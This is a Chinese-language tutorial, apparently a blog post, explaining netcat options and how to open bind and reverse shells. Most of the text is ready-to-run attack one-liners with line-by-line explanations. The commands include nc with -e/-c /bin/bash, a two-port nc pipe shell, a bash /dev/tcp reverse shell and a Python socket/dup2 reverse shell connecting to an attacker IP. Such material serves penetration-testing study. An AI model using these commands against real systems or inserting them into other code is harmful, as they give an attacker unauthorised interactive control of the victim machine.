nc的一些反弹shell用法 反弹shell没反应

nc反弹shell用法

nc的选项

"-v"选项，输出详细信息，输入-vv，那么输出的信息将更多。

"-l"选项，进入监听模式

"-p"选项，指定本地端口

"-z"选项，连接成功后立即关闭连接，不进行数据交换，通常用来扫描。端口可以是单个的或范围内的。

"-i"选项，端口扫描时的时间间隔

"-w"选项，连接超时时间

-u选项，udp协议

"-n"选项，不反向查询IP对应的域名。

"-c"选项，指定shell命令，使用/bin/sh执行

"-e"选项，指定文件名，在连接后执行。

"-c"选项和"-e"选项，都可以指定/bin/bash来获取shell；如果是windows，我们可以"-e"选项指定执行cmd.exe来获取shell。

正向shell（bind shell）

靶机：nc -lvp x.x.x.x port [-c /bin/bash | -e /bin/bash | -ec:\windows\system32\cmd.exe]

攻击方：nc x.x.x.x port

反向shell（reverse shell）

靶机：nc x.x.x.x port [-c /bin/bash | -e /bin/bash | -ec:\windows\system32\cmd.exe]

攻击方：nc -lvp x.x.x.x port

需要注意的是，不管正向shell，还是反向shell，"-c"选项或"-e"选项都是添加在靶机这一侧。

正向和反向的区别，其实就是攻击方和靶机之间谁主动发起连接的区别。

攻击方主动去连接靶机为正向，shell绑定在靶机的监听端口，攻击方连接才能访问；靶机主动向攻击方发起连接请求为反向，靶机主动将自己的shell发送给攻击方。

使用管道符反弹

假如nc不支持 -e 指令就要使用linux的管道符来帮助反弹shell

靶机开启7777和8888的端口。

靶机:nc 192.168.169.128 7777|/bin/bash|192.168.169.128 8888

攻击方：nc -lvnp 7777

nc -lvnp 8888

解释：靶机先将7777端口接收来的指令信息重定向到bash中，将bash执行指令后的输出信息重定向到 8888端口，因此攻击方需双开窗口一个向7777发送指令信息，一个8888接收返回信息

bash反弹shell

靶机：bash -i &>/dev/tcp/ip/port 0>&1

攻击方：nc -lvn xxxx port

bash -i：产生一个交互式shell。&>：标准输出和标准错误输出都重定向到后面的对象。/dev/tcp/ip/port：与ip:port建立连接并传输数据。0>&1：将标准输入重定向到标准输出的位置。

/dev/tcp是Linux中的一个特殊文件，通过它打开套接字，与目标端口建立连接。

python反弹shell

靶机：python3 -c "import os,socket,subprocess;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(('192.168.5.123',7777));

os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);

p=subprocess.call(['/bin/bash','-i'])"

攻击方：nc -lvnp 7777

解释：

# 导入所需要的os，socket，subprocess包

"import os,socket,subprocess;

# 创建一个tcp套接字

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

# 与目标ip 端口号建立tcp连接

s.connect(('192.168.5.123',7777));

# os.dup2() 方法用于将一个文件描述符 fd 复制到另一个 fd2。

# 分别将标准输入，标准输出，标准错误输出重定向到远端的连接

os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);

# 打开一个子进程以-i 交互的方式执行

p=subprocess.call(['/bin/bash','-i'])"